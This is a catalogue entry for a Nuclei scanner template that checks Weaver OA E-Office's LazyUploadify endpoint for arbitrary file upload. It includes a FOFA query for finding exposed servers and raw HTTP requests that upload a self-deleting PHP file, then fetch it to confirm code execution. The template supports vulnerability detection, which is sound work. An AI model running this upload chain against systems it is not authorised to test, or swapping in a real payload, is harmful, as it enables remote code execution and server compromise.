weaver-lazyuploadify-file-upload: OA E-Office LazyUploadify - Arbitrary File Upload
- Template: weaver-lazyuploadify-file-upload
- Name: OA E-Office LazyUploadify - Arbitrary File Upload
- Description: OA E-Office LazyUploadify is vulnerable to arbitrary file upload.
- Severity: critical
- Authors: SleepingBag945
- Tags: weaver, e-office, intrusive, rce, file-upload, vuln
- References: https://github.com/w-digital-scanner/w9scan/blob/master/plugins/weaver_oa/2158.py
- Verified: yes
- Max requests: 3
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/weaver/weaver-lazyuploadify-file-upload.yaml
- Digest: 4a0a0047304502210087ea661a413b2905dd448f9bbbaa1ac3c0ade512443a3651663e6a42864ec5890220363d3ef62f38d626f635298ebcd23d71e5beeadac7e503421960b681bccee8cb
- Created at: 2023-09-18T12:43:14Z
- Updated at: 2026-04-14T14:09:18Z
- Age in days: 1163
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/weaver/weaver-lazyuploadify-file-upload.yaml
- Checked, none or zero: cves, products
- Not known: impact, remediation
Classification
- Cwe: CWE-434
- Not known: cvss score, cvss vector, epss score, epss percentile, cpe
Metadata
- Fofa-query: app="泛微-EOffice"
- Max-request: 3
- Verified: yes
Labels
- Name: Weaver OA E-Office - Arbitrary File Upload
- Impact: Remote attackers can upload malicious files, potentially leading to remote code execution and full system compromise.
- Remediation: Update to the latest version of Weaver OA E-Office.
- Vulnerability type: unrestricted_file_upload
- Vulnerability impact: file_system_write, remote_code_execution
- Requirement type: none
- Labels source: securitycontext
- Not known: requirements, from cve
```yaml
id: weaver-lazyuploadify-file-upload
info:
name: OA E-Office LazyUploadify - Arbitrary File Upload
author: SleepingBag945
severity: critical
description: OA E-Office LazyUploadify is vulnerable to arbitrary file upload.
reference:
- https://github.com/w-digital-scanner/w9scan/blob/master/plugins/weaver_oa/2158.py
classification:
cwe-id: CWE-434
metadata:
verified: true
max-request: 3
fofa-query: app="泛微-EOffice"
tags: weaver,e-office,intrusive,rce,file-upload,vuln
variables:
filename: "{{to_lower(rand_base(5))}}"
string: "weaver-lazyuploadify-file-upload"
http:
- raw:
- |
GET /general/weibo/javascript/LazyUploadify/uploadify.php HTTP/1.1
Host: {{Hostname}}
- |
POST /general/weibo/javascript/LazyUploadify/uploadify.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjetvpuye
Accept-Encoding: gzip
------WebKitFormBoundaryjetvpuye
Content-Disposition: form-data; name="Filedata"; filename="{{filename}}.php"
Content-Type: application/octet-stream
<?php echo md5("{{string}}");unlink(__FILE__);?>
------WebKitFormBoundaryjetvpuye--
- |
GET /attachment/{{attachmentID}}/{{attachmentName}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: attachmentID
internal: true
group: 1
regex:
- "attachmentID\":(.*?),"
- type: regex
name: attachmentName
internal: true
group: 1
regex:
- "attachmentName\":\"(.*?)\","
matchers-condition: and
matchers:
- type: dsl
dsl:
- "contains(body_2, 'attachmentID') && contains(body_2, 'attachmentName')"
condition: and
- type: word
part: body_3
words:
- '{{md5(string)}}'
digest: 4a0a0047304502210087ea661a413b2905dd448f9bbbaa1ac3c0ade512443a3651663e6a42864ec5890220363d3ef62f38d626f635298ebcd23d71e5beeadac7e503421960b681bccee8cb:922c64590222798bb761d5b6d8e72950
```